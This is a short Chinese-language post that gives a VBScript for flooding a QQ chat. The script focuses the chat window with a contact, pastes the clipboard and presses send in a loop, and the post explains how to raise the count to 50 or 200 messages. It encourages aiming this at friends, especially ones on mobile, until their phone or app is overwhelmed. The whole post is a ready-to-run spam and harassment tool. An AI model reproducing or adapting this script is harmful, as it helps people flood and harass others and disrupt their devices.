QQTalker代码攻击

On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 1
wscript.sleep 700
wsh.AppActivate("与xx聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit

把上面的代码复制在记事本里，“for i=1 to 1”中的“1”可以改成你要发消息的次数，50左右就好，
不过瘾就200，但是别太玩过了。("与xx聊天中") 中间的XX改成你要发消息的QQ号，然后把文件名改成
后缀为.vbs的文件，点出要发送消息的好友聊天框。运行文件。光标放到输入栏里就OK了，特别是

手机登录的好友，直接让他点消息点到奔溃。

复制一段文本于缓冲区